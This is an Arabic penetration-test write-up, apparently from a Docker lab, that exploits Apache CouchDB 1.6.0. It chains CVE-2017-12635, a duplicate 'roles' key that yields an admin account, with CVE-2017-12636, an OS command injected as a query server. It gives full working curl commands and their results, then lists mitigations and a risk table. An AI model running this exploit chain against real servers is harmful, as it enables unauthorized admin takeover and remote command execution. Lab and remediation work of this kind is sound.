
نبدأ بما هو قيد التشغيل في البيئة. أقوم بسرد جميع الحاويات النشطة:
docker ps

الضحية تعرض منفذًا واحدًا: 5984
⇒ أستخدم curl مباشرة عليه لاستكشاف مزيد من المعلومات:
curl -i http://192.168.3.137:5984/

تحليل الاستجابة:
الاستجابة: HTTP/1.1 200 OK، مما يثبت أن الخدمة على المنفذ 5984 نشطة ويمكن الوصول إليها مباشرة عبر HTTP.
ترويسة الخادم: CouchDB/1.6.0 (Erlang OTP/17) ونص JSON الذي يحتوي على "version":"1.6.0" يؤكدان أن هذا هو Apache CouchDB الإصدار 1.6.0.
تقييم سطح الهجوم:
خدمة CouchDB مكشوفة خارجيًا عبر المنفذ 5984. هذا هو المنفذ الافتراضي لواجهة CouchDB HTTP API، مما يسمح بالتفاعل مع قاعدة البيانات عبر REST API.
الإصدار CouchDB 1.6.0 هو إصدار قديم، يسبق التصحيح 1.7.1. وفقًا لتوثيق Apache، تتأثر إصدارات CouchDB في هذا النطاق بما يلي:
roles المكررة في JSON.=> تفكير: من الاستجابة التي تم الحصول عليها، توجد أدلة كافية لتحديد أن الضحية تشغّل Apache CouchDB 1.6.0 على المنفذ 5984. هذا إصدار قديم مرتبط بسلسلة استغلال CVE-2017-12635 وCVE-2017-12636. لذلك، فإن مسار الاستغلال المنطقي هو اختبار حالة المصادقة أولاً، ثم تقييم إمكانية تصعيد الامتيازات أو تنفيذ الأوامر عبر واجهة CouchDB HTTP API.
CVE-2017-12635 يستغل التناقض بين محللي JSON في CouchDB. عند إرسال مستند مستخدم إلى /_users مع مفتاحَي roles مكررين، يستخدم CouchDB مفتاح roles الثاني للتحقق من صلاحيات الكتابة للمستند، لكنه يستخدم مفتاح roles الأول للصلاحيات الفعلية للمستخدم بعد الإنشاء. وبالتالي، يضبط المهاجم أول roles على ["_admin"] والثاني على [] لتجاوز فحص التحقق، مما يؤدي إلى إنشاء مستخدم بصلاحيات إدارية.

وفقًا لتوثيق CouchDB، يخزن CouchDB معلومات المستخدمين في قاعدة بيانات خاصة باسم _users، حيث يكون لكل مستند مستخدم معرّف بتنسيق org.couchdb.user:<username>. نظرًا لأننا بحاجة إلى إنشاء مستخدم باسم hacker، فإن نقطة النهاية المستخدمة هي /_users/org.couchdb.user:hacker. أقوم بإنشاء مستخدم جديد ومنحه صلاحيات إدارية لمعرفة كيف يستجيب الخادم.
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

الاستجابة المرتجعة هي true، مما يثبت أن المستخدم أُنشئ بنجاح. أقوم بفحص تحقق باستخدام بيانات اعتماد admin المنشأة حديثًا: curl -u hacker:password123 http://192.168.3.137:5984/_users. نقطة النهاية /_users هي قاعدة بيانات نظامية، لا يمكن لغير المسؤولين قراءة بياناتها الوصفية افتراضيًا. إذا طلبها مستخدم عادي → 403 Forbidden. تؤكد استجابة 200 OK مع معلومات قاعدة البيانات الكاملة أن حساب hacker يمتلك بالفعل صلاحيات _admin. وهذا يتطابق تمامًا مع فرضية CVE-2017-12635 على Apache CouchDB 1.6.0.
الملخص:
لقد تحققت بنجاح من CVE-2017-12635 على Apache CouchDB 1.6.0. في البداية، أظهر المنفذ 5984 فقط أن واجهة CouchDB HTTP API مكشوفة. بعد تحديد بصمة الخادم عبر curl، أكدت الاستجابة أن الخدمة هي CouchDB 1.6.0، وهو إصدار ضمن نطاق ثغرة CVE-2017-12635.
بدلاً من الاستنتاج الفوري بإمكانية تنفيذ الأكواد عن بُعد (RCE)، تحققت من تدفق المصادقة خطوة بخطوة أولاً. من خلال إرسال مستند مستخدم إلى /_users مع مفتاحَي roles مكررين، نجحت الحمولة في إنشاء المستخدم hacker. بعد ذلك، أعاد الطلب إلى /_users عبر curl -u hacker:password123 استجابة 200 OK مع تفاصيل قاعدة بيانات النظام، مما يثبت أن المستخدم hacker يمتلك فعليًا صلاحيات _admin.
وبالتالي، بمجرد الحصول على صلاحيات إدارة CouchDB، يتوسع سطح الهجوم إلى CVE-2017-12636، حيث يمكن للمسؤولين تعديل إعدادات CouchDB عبر HTTP API. وهذا يشكل المتطلب الأساسي لمزيد من تقييم قدرات تنفيذ الأكواد عن بُعد على الخادم.
⇒ تفكير: استخدام صلاحيات الإدارة المكتسبة حديثًا لاختبار تنفيذ الأوامر على مستوى نظام التشغيل.

وفقًا لتوثيق Apache CouchDB، فإن خادم الاستعلامات (Query Server) هو عملية خارجية يستخدمها CouchDB لمعالجة دوال التصميم (design functions)، مثل عرض JavaScript في آلية MapReduce. عندما يصرّح مستند تصميم بحقل "language"، يعتمد CouchDB على هذه القيمة للبحث عن خادم الاستعلامات المقابل في إعداد query_servers.
إذا كان مستند التصميم يحتوي على "language": "javascript"، يستعلم CouchDB عن إعداد query_servers.javascript لتحديد العملية التي يجب تشغيلها للتعامل مع دالة map/reduce. هذا تصميم شرعي في CouchDB، لأن نواة CouchDB لا تنفذ جميع أكواد العروض مباشرة داخل محرك قاعدة البيانات.
⇒ المشكلة في CVE-2017-12636 تكمن في قدرة مسؤول CouchDB على تعديل إعدادات الخادم عبر HTTP API. تتضمن بعض هذه الإعدادات مسارات لملفات ثنائية أو عمليات على مستوى نظام التشغيل سيقوم CouchDB بتشغيلها. لذلك، بعد الحصول على صلاحيات الإدارة من CVE-2017-12635، يمكن للمهاجم تعديل query_servers.<language> ليشير إلى أمر نظام تشغيل. عند تشغيل عرض يستخدم اللغة المقابلة، سيقوم CouchDB بتشغيل الأمر، مما يؤدي إلى تنفيذ الأوامر على الخادم.
تدفق الاستغلال:
query_servers.cmd عبر نقطة النهاية /_config."language": "cmd".query_servers.cmd ويشغّل العملية المكوّنة.كتابة إعداد query_server خبيث
سجّل "خادم استعلامات" باسم عشوائي، بحيث تكون القيمة هي أمر نظام التشغيل:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
هذا هو أمر نظام التشغيل الذي ستشغّله عملية CouchDB.
تشغيل التنفيذ — إنشاء قاعدة البيانات والمستند
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
تدفق التنفيذ:
View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
→ [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
→ [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
→ [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]
التحقق من RCE:
docker exec project1-lab07-1 cat /tmp/pwned

تفكير: هجوم RCE هذا أعمى/غير متزامن لأن مخرجات الأمر لا تُرجع مباشرة في استجابة HTTP. لذلك، لإثبات تنفيذ الأمر، استخدمت حمولة تولّد تأثيرًا جانبيًا بكتابة مخرجات أمر id إلى ملف /tmp/pwned. عند قراءة ملف /tmp/pwned في الحاوية وملاحظة المخرجات uid=1000(couchdb) gid=999(couchdb)، يمكننا استنتاج أن CouchDB نفّذ أمر نظام التشغيل بنجاح بصلاحيات مستخدم couchdb.
تُظهر النتيجة uid=1000(couchdb) أن الأمر لم يُنفَّذ بصلاحيات الجذر (root)، بل بصلاحيات عملية CouchDB. وهذا يظل كافيًا لإثبات أن CVE-2017-12636 يؤدي إلى تنفيذ الأكواد عن بُعد ضمن حدود صلاحيات الخدمة.
يتم تقييم ثغرة عدم اتساق محلل JSON (CVE-2017-12635) مقترنة بحقن خادم الاستعلامات (CVE-2017-12636) على النظام عند أعلى مستوى خطر:
للتخفيف الشامل من هذه الثغرات، يجب على فريق إدارة النظام تنفيذ الإجراءات التالية (مرتبة حسب الأولوية):
require_valid_user = true في ملف الإعداد local.ini لمنع جميع عمليات الوصول المجهولة إلى API. لا تشغّل CouchDB أبدًا في وضع "Admin Party" (حيث لا يوجد مسؤول، مما يجعل الجميع مسؤولين).127.0.0.1.config_whitelist في ملف local.ini لتقييد مفاتيح الإعداد التي يمكن تعديلها عبر API، مما يمنع المهاجمين من استغلال نقطة النهاية /_config/query_servers لحقن أوامر نظام التشغيل.| المعيار | التقييم | التفاصيل |
|---|
| درجة CVSS | 9.8 (حرجة) | شبه قصوى، ولا تتطلب سوى طلب HTTP واحد للاستغلال. |
| المصادقة | غير مطلوبة | لا يحتاج المهاجمون إلى حساب أو تسجيل دخول. تسمح CVE-2017-12635 بإنشاء حساب إداري عن بُعد. |
| التعقيد | منخفض جدًا | يتضمن ببساطة إرسال طلب HTTP PUT واحد يحتوي على حمولة JSON بمفتاح "roles" مكرر إلى نقطة النهاية /_users. |
| الصلاحيات المكتسبة | couchdb (uid=1000) | يشغّل أوامر نظام التشغيل بصلاحيات المستخدم الذي يشغّل CouchDB، مما يتيح قراءة/كتابة ملفات النظام والوصول إلى جميع قواعد البيانات. |
| الحركة الجانبية | عالية | من الحاوية المخترقة، يمكن للمهاجم إجراء مسح داخلي (LAN) واستهداف حاويات أخرى أو الجهاز المضيف ضمن نفس شبكة Docker. |